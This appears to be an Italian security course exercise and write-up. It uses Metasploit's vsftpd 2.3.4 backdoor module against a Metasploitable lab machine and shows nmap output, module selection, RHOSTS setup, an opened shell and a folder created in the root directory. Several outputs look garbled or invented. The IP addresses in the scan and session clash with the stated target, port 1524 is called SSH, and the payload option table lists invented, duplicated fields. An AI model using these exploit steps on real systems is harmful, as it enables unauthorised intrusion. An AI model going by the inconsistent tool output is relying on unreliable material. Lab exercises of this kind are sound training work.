

METASPLOIT - ESERCIZIO

Traccia:

Partendo dall'esercizio guidato visto nella lezione teorica, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «vsftpd» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito:

192.168.1.149/24.

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando `mkdir` nella directory di root (/). Chiamate la cartella `test_metasploit`.

Esecuzione:

Dopo aver configurato il nuovo indirizzo IP sulla macchina Metasploitable (192.168.1.149), andiamo su Kali-Linux e lanciamo il comando `nmap -sV 192.168.1.149` per verificare le porte aperte nella macchina target e la loro relativa versione.

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-18 15:37 EST
Nmap scan report for 192.168.50.101
Host is up (0.000095s latency).
Not shown: 979 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:5F:CD:D8 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.31 seconds
```

Una volta accertati che il servizio **ftp** è attivo sulla macchina, avviamo il tool **Metasploit** su Kali e cerchiamo un modulo che ci possa permettere di effettuare un attacco verso quella porta.

```
Metasploit v6.3.55-dev
+ --[ 2397 exploits - 1235 auxiliary - 422 post ]
+ --[ 1391 payloads - 46 encoders - 11 nops ]
+ --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
=====
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Sembra che il modulo **exploit/unix/ftp/vsftpd_234_backdoor** faccia al caso nostro. Lo selezioniamo con il comando **use** ed il percorso citato pocanzi.

Una volta dentro vediamo le options con il comando **show options**.

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies     Proxies            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -
  LHOST      LHOST            yes       The local host to connect to
  LURI       LURI             no        The local URI to connect to
  LURI_PATH  LURI_PATH        no        The local URI path to connect to
  LURI_PORT  LURI_PORT        no        The local URI port to connect to
  LURI_SCHEME LURI_SCHEME      no        The local URI scheme to connect to
  LURI_USER  LURI_USER        no        The local URI user to connect to
  LURI_PASS  LURI_PASS        no        The local URI password to connect to
  LURI_PORT  LURI_PORT        no        The local URI port to connect to
  LURI_SCHEME LURI_SCHEME      no        The local URI scheme to connect to
  LURI_USER  LURI_USER        no        The local URI user to connect to
  LURI_PASS  LURI_PASS        no        The local URI password to connect to

Exploit target:

  Id  Name
  --  --
  0    Automatic
```

Vediamo che il tool presenta già su **RPORT** il valore impostato su porta **21** che fa al caso nostro. Inoltre tale modulo non ha dei **payload** aggiuntivi per altre funzioni di supporto. Non resta che configurare **RHOSTS** con l'IP della macchina target.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > 
```

Una volta configurato correttamente e riverificato con il comando **show options** che sia correttamente settato, possiamo procedere con l'avvio tramite il comando **exploit**.

```
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:37197 -> 192.168.50.101:6200) at 2024-02-18 15:48:12 -0500
```

Quando compare quanto riportato sopra, conferma che siamo dentro la shell della macchina target. Provando a lanciare il comando **ls** e **pwd** possiamo vederne i risultati.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
```

```
pwd
/
```

Come da traccia, usiamo il comando **mkdir** per creare la cartella **test_metasploit**.

Nuovamente rilanciamo il comando **ls** per verificare che sia stata creata la directory correttamente nella radice del sistema operativo target.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```

Inoltre lo verifichiamo sulla stessa macchina target.

```
msfadmin@metasploitable:~$ cd /
msfadmin@metasploitable:/$ ls
bin    dev    initrd  lost+found  nohup.out  root  sys    usr
boot   etc    initrd.img  media      opt        sbin  test_metasploit  var
cdrom  home  lib      mnt        proc       srv   tmp      vmlinuz
msfadmin@metasploitable:/$
```